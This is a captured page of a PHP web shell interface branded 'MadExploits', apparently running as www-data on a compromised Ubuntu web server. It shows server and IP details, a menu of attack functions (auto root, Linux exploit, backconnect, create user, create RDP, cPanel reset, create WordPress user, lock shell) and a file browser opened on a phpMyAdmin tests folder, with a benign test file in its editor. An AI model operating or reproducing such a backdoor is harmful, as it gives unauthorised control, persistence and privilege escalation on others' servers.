Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LanguageTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\Config; use PhpMyAdmin\Language; use PhpMyAdmin\LanguageManager; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\Attributes\Group; use function _ngettext; use function count; use function file_exists; use function is_readable; use function strtolower; #[CoversClass(Language::class)] #[CoversClass(LanguageManager::class)] class LanguageTest extends AbstractTestCase { private LanguageManager $manager; /** * Setup for Language tests. */ protected function setUp(): void { parent::setUp(); $loc = LOCALE_PATH . '/cs/LC_MESSAGES/phpmyadmin.mo'; if (! is_readable($loc)) { self::markTestSkipped('Missing compiled locales.'); } $this->manager = new LanguageManager(); } protected function tearDown(): void { parent::tearDown(); // Ensure we have English locale after tests $lang = $this->manager->getLanguage('en'); if ($lang === false) { return; } $lang->activate(); } /** * Test language filtering */ public function testAvailable(): void { $config = Config::getInstance(); $config->set('FilterLanguages', 'cs|en$'); $langs = $this->manager->availableLocales(); self::assertCount(2, $langs); self::assertContains('cs', $langs); $config->set('FilterLanguages', ''); } /** * Test no language filtering */ public function testAllAvailable(): void { Config::getInstance()->set('FilterLanguages', ''); $langs = $this->manager->availableLocales(); self::assertContains('cs', $langs); self::assertContains('en', $langs); } /** * Test whether listing locales works */ public function testList(): void { $langs = $this->manager->listLocaleDir(); self::assertContains('cs', $langs); self::assertContains('en', $langs); } /** * Test for getting available languages */ public function testLanguages(): void { $langs = $this->manager->availableLanguages(); self::assertGreaterThan(1, count($langs)); /* Ensure we have name for every language */ foreach ($langs as $lang) { self::assertNotEquals( $lang->getCode(), strtolower($lang->getEnglishName()), 'Maybe this language does not exist in LanguageManager class' . ', see: https://github.com/phpmyadmin/phpmyadmin/issues/16300.', ); } } /** * Test for MySQL locales */ public function testMySQLLocale(): void { Config::getInstance()->set('FilterLanguages', ''); $czech = $this->manager->getLanguage('cs'); self::assertNotFalse($czech); self::assertSame('cs_CZ', $czech->getMySQLLocale()); $azerbaijani = $this->manager->getLanguage('az'); self::assertNotFalse($azerbaijani); self::assertSame('', $azerbaijani->getMySQLLocale()); } /** * Test for getting available sorted languages */ public function testSortedLanguages(): void { $langs = $this->manager->sortedLanguages(); self::assertGreaterThan(1, count($langs)); } /** * Test getting language by code */ public function testGet(): void { Config::getInstance()->set('FilterLanguages', ''); $lang = $this->manager->getLanguage('cs'); self::assertNotFalse($lang); self::assertSame('Czech', $lang->getEnglishName()); self::assertSame('Čeština', $lang->getNativeName()); $lang = $this->manager->getLanguage('nonexisting'); self::assertFalse($lang); } /** * Test language selection * * @param string $lang Value for forced language * @param string $post Value for language in POST * @param string $get Value for language in GET * @param string $cookie Value for language in COOKIE * @param string $accept Value for HTTP Accept-Language header * @param string $agent Value for HTTP User-Agent header * @param string $default Value for default language * @param string $expect Expected language code */ #[DataProvider('selectDataProvider')] public function testSelect( string $lang, string $post, string $get, string $cookie, string $accept, string $agent, string $default, string $expect, ): void { if ($expect !== 'en' && ! file_exists(LOCALE_PATH . '/' . $expect . '/LC_MESSAGES/phpmyadmin.mo')) { // This could happen after removing incomplete .mo files. self::markTestSkipped('Locale file does not exists: ' . $expect); } $config = Config::getInstance(); $config->set('FilterLanguages', ''); $config->set('Lang', $lang); $config->set('is_https', false); $_POST['lang'] = $post; $_GET['lang'] = $get; $_COOKIE['pma_lang'] = $cookie; $_SERVER['HTTP_ACCEPT_LANGUAGE'] = $accept; $_SERVER['HTTP_USER_AGENT'] = $agent; $config->set('DefaultLang', $default); $lang = $this->manager->selectLanguage(); self::assertSame($expect, $lang->getCode()); $config->set('Lang', ''); $_POST['lang'] = ''; $_GET['lang'] = ''; $_COOKIE['pma_lang'] = ''; $_SERVER['HTTP_ACCEPT_LANGUAGE'] = ''; $_SERVER['HTTP_USER_AGENT'] = ''; $config->set('DefaultLang', 'en'); } /** * Data provider for language selection test. * * @return string[][] */ public static function selectDataProvider(): array { return [ ['cs', 'en', '', '', '', '', '', 'cs'], ['', 'cs', '', '', '', '', '', 'cs'], ['', 'cs', 'en', '', '', '', '', 'cs'], ['', '', 'cs', '', '', '', '', 'cs'], ['', '', '', 'cs', '', '', '', 'cs'], ['', '', '', '', 'cs,en-US;q=0.7,en;q=0.3', '', '', 'cs'], ['', '', '', '', '', 'Mozilla/5.0 (Linux; U; Android 2.2.2; tr-tr; GM FOX)', '', 'tr'], ['', '', '', '', '', '', 'cs', 'cs'], ['', '', '', '', '', '', '', 'en'], ['', '', '', '', 'pt;q=0.8,en-US;q=0.5,en;q=0.3', '', 'en', 'pt'], ['', '', '', '', 'pt-PT,pt;q=0.8,en-US;q=0.5,en;q=0.3', '', 'en', 'pt'], ['', '', '', '', 'pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3', '', 'en', 'pt_BR'], ['', '', '', '', 'ar;q=0.8,en-US;q=0.5,en;q=0.3', '', 'en', 'ar'], ['', '', '', '', 'ar-AE,ar;q=0.8,en-US;q=0.5,en;q=0.3', '', 'en', 'ar'], ['', '', '', '', 'ar-LY,ar;q=0.8,en-US;q=0.5,en;q=0.3', '', 'en', 'ar_LY'], ['', '', '', '', 'en,pt;q=0.5', '', 'pt', 'en'], ['', '', '', '', 'en-GB,en;q=0.7,pt;q=0.3', '', 'pt', 'en_GB'], ['', '', '', '', 'en-US,en;q=0.7,pt;q=0.3', '', 'pt', 'en'], ['', '', '', '', 'zh,en;q=0.5', '', 'en', 'zh_CN'], ['', '', '', '', 'zh-CN,zh;q=0.7,en;q=0.3', '', 'en', 'zh_CN'], ['', '', '', '', 'zh-HK,zh;q=0.7,en;q=0.3', '', 'en', 'zh_TW'], ['', '', '', '', 'zh-TW,zh;q=0.7,en;q=0.3', '', 'en', 'zh_TW'], ]; } /** * Test for setting and parsing locales * * @param string $locale locale name */ #[DataProvider('listLocales')] #[Group('large')] public function testGettext(string $locale): void { Config::getInstance()->set('FilterLanguages', ''); /* We should be able to set the language */ $lang = $this->manager->getLanguage($locale); self::assertNotFalse($lang); $lang->activate(); /* Grab some texts */ self::assertStringContainsString('%s', _ngettext('%s table', '%s tables', 10)); self::assertStringContainsString('%s', _ngettext('%s table', '%s tables', 1)); self::assertSame( $locale, $this->manager->getCurrentLanguage()->getCode(), ); } /** * Data provider to generate list of available locales. * * @return mixed[] with arrays of available locales */ public static function listLocales(): array { $ret = []; foreach (LanguageManager::getInstance()->availableLanguages() as $language) { $ret[] = [$language->getCode()]; } return $ret; } }
Close